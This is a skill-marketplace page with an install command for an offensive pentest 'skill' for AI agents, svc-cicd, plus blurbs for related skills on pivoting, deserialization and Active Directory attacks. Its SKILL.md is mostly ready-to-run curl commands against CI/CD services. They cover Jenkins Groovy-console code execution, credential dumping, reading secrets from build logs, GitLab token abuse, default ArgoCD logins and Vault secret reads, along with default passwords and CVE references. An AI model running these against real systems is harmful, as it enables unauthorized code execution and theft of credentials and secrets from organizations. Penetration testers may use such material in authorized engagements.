菜单
CI/CD & dev-infra attack techniques — credential exposure, RCE (script console / build), pipeline abuse, secret stores. Use when a CI/CD or SCM service is exposed. Triggers - Jenkins /job/ or script console, GitLab, ArgoCD, TeamCity, Gitea, Drone, exposed .git, runner token, pipeline.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/s0ld13rr/pentestcode --skill svc-cicd命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE. Use the moment you have code-exec on a dual-homed/edge host and need to reach an internal segment. Triggers - dual-homed host, "not reachable from my box", internal CIDR behind a foothold, RCE truncates output, need proxychains/nmap through a host, chisel/ligolo.
Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.
Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.
基于 SOC 职业分类
正在显示 SKILL.md
| name | svc-cicd |
| description | CI/CD & dev-infra attack techniques — credential exposure, RCE (script console / build), pipeline abuse, secret stores. Use when a CI/CD or SCM service is exposed. Triggers - Jenkins /job/ or script console, GitLab, ArgoCD, TeamCity, Gitea, Drone, exposed .git, runner token, pipeline. |
# Unauthenticated access
curl http://<target>:8080/
curl http://<target>:8080/script # Groovy console (= RCE)
curl http://<target>:8080/asyncPeople/ # user enumeration
# Groovy console RCE
curl -d 'script=println+"id".execute().text' http://<target>:8080/script
# Credentials extraction (authenticated)
curl http://<target>:8080/credentials/
# Groovy: com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().each{println it}
# Default credentials: admin/admin, admin/password, admin/jenkins
# Build history for secrets in logs
curl http://<target>:8080/job/<name>/lastBuild/console
# Version detection
curl -s http://<target>/api/v4/version
# CVE-2021-22205: RCE via image upload (GitLab 11.9-13.10.3)
# CVE-2023-7028: Account takeover via password reset
# Public repos/snippets
curl http://<target>/explore/projects
curl http://<target>/explore/snippets
# API token abuse (if found)
curl -H "PRIVATE-TOKEN: <token>" http://<target>/api/v4/projects?membership=true
curl -H "PRIVATE-TOKEN: <token>" http://<target>/api/v4/projects/<id>/repository/files/.env/raw?ref=main
# Default credentials: admin / <pod-name>
# Or admin / argocd-server-<hash>
# API access
curl -k https://<target>/api/v1/session -d '{"username":"admin","password":"<pass>"}'
curl -k -H "Authorization: Bearer <token>" https://<target>/api/v1/applications
# Check for unsealed vault
curl http://<target>:8200/v1/sys/health
curl http://<target>:8200/v1/sys/seal-status
# If root token found
curl -H "X-Vault-Token: <token>" http://<target>:8200/v1/secret/data/
.env, docker-compose.yml, Jenkinsfile, .gitlab-ci.yml in repos